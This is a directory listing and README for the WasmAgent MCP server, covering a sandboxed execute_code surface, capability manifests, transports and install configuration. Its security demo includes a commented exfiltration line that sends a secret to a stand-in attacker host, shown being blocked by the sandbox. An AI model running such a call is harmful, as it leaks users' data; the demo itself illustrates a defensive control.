io.github.telleroutlook/mcp-server

Official

by WasmAgent · TypeScript

WasmAgent MCP server — WASM-sandboxed code execution with capability manifests and Tasks API.

WasmAgent MCP server that exposes wasmagent agents as a Model Context Protocol (MCP) server. It provides a capability-manifest-based interface and a Tasks API, shifting from publishing a bare tool list to offering a sandboxed execute_code surface for wasmagent execution.

🛠️ Key Features

WasmAgent agent runtime exposed via MCP
WASM-sandboxed code execution (execute_code surface)
Capability manifests
Tasks API
Included as part of wasmagent (TypeScript + WASM)

🚀 Use Cases

Replacing direct tool publication to a host with a sandboxed execution surface
Running wasmagent agents behind an MCP interface

⚡ Developer Benefits

Aligns tool access with a sandboxed execute_code surface
Uses capability manifests and Tasks API for structured interactions

⚠️ Limitations

Maturity: beta; API shape may change in minor versions
Changes are announced in the CHANGELOG

Topics

agentcloudflare-workerscompliancellmmcpsandboxtraining-datatypescriptwasmwasmagent

packages/mcp-server/README.md4 KBView on GitHub

/mcp-server

Maturity: beta — API shape may change in minor versions; changes announced in CHANGELOG.

Expose any wasmagent agent as a Model Context Protocol (MCP) server.

Part of wasmagent — a TypeScript + WASM agent runtime.

Before / After

Replacing a bare tool list published directly to the host with a sandboxed execute_code surface:

diff

+import { createCodeModeServer, runStdio } from "@wasmagent/mcp-server/stdio";
+import { QuickJSKernel } from "@wasmagent/kernel-quickjs";
+import { ToolRegistry } from "@wasmagent/core";

-// Before: host sees every tool directly — 40 tools × schema = huge context cost
-server.setRequestHandler(ListToolsRequestSchema, () => ({
-  tools: [...allFortyTools],
-}));
+// After: host sees ONLY docs_search + execute_code; model dispatches internally
+const tools = new ToolRegistry();
+// tools.register(...) — register your 40 tools here
+
+await runStdio(createCodeModeServer({
+  tools,
+  kernel: new QuickJSKernel(),
+  capabilities: { allowedHosts: [], cpuMs: 5_000 },
+  serverInfo: { name: "my-agent", version: "1.0.0" },
+}));

At N=30 downstream tools the bootstrap-token cost drops to 13.6% of the direct approach. The model calls execute_code with a script; the script calls callTool(...) for whichever tools it needs — all under one CapabilityManifest.

Install

bash

npm install /mcp-server /core

Three transports, one server

The McpAgentServer is transport-agnostic: it speaks JSON-RPC through a single handle(req) method. Pick the transport that fits your host:

1. Stdio (Claude Desktop, Cursor, Glama health-check, …)

bash

# Zero-config default — code-mode server with VmKernel and no
# downstream tools. Useful for sanity / introspection only.
npx /mcp-server

For a real deployment, write a small Node script and call runStdio() with your own server:

// server.mjs
import { createCodeModeServer, runStdio } from "/mcp-server/stdio";
import { QuickJSKernel } from "/kernel-quickjs";
import { ToolRegistry } from "/core";

const tools = new ToolRegistry();
// tools.register(...)  — your tools here

await runStdio(createCodeModeServer({
  tools,
  kernel: new QuickJSKernel(),
  capabilities: { allowedHosts: [], cpuMs: 5000 },
  serverInfo: { name: "my-agent", version: "1.0.0" },
}));

2. HTTP / Streamable (Cloudflare Workers, Vercel, etc.)

import { createCodeModeServer, createFetchHandler } from "/mcp-server";

const server = createCodeModeServer({ /* … */ });
const handler = createFetchHandler(server);
// In a Worker: export default { fetch: handler }

3. Direct `handle()`

If you have a custom transport, the protocol-level brain is one async (req) => { response } call away — see McpAgentServer.handle().

Code-mode (two-tool surface)

createCodeModeServer() wraps any tool registry into a docs_search + execute_code MCP surface. At N=30 downstream tools the bootstrap-token cost drops to 13.6% of direct MCP. See docs/guides/code-mode.md.

Security demo

CapabilityManifest enforces network and filesystem policy at the kernel boundary for every script the model runs through execute_code:

import { createCodeModeServer, runStdio } from "@wasmagent/mcp-server/stdio";
import { QuickJSKernel } from "@wasmagent/kernel-quickjs";
import { ToolRegistry } from "@wasmagent/core";

const tools = new ToolRegistry();
// tools.register(...)

await runStdio(createCodeModeServer({
  tools,
  kernel: new QuickJSKernel(),
  capabilities: {
    allowedHosts: [],           // no outbound network
    allowedPaths: [],           // no filesystem access
    cpuMs: 5_000,
    memoryLimitBytes: 64 * 1024 * 1024,
  },
  serverInfo: { name: "my-agent", version: "1.0.0" },
}));

// Model-generated code inside execute_code that tries to exfiltrate data:
// fetch("https://attacker.example/exfil?data=secret")
// → throws: network access denied — host "attacker.example" not in allowedHosts

The manifest is enforced regardless of which downstream tools the script calls — one declaration covers the entire execute_code surface.

License

Install

Add to VS Code Add to Cursor

claude_desktop_config.json

json

{
  "mcpServers": {
    "mcp-server": {
      "command": "npx",
      "args": [
        "-y",
        "@wasmagent/mcp-server@1.1.1"
      ]
    }
  }
}

🛠️ Key Features

🚀 Use Cases

⚡ Developer Benefits

⚠️ Limitations

Topics

/mcp-server

Before / After

Install

Three transports, one server

1. Stdio (Claude Desktop, Cursor, Glama health-check, …)

2. HTTP / Streamable (Cloudflare Workers, Vercel, etc.)

3. Direct handle()

Code-mode (two-tool surface)

Security demo

License

Install

Related servers

3. Direct `handle()`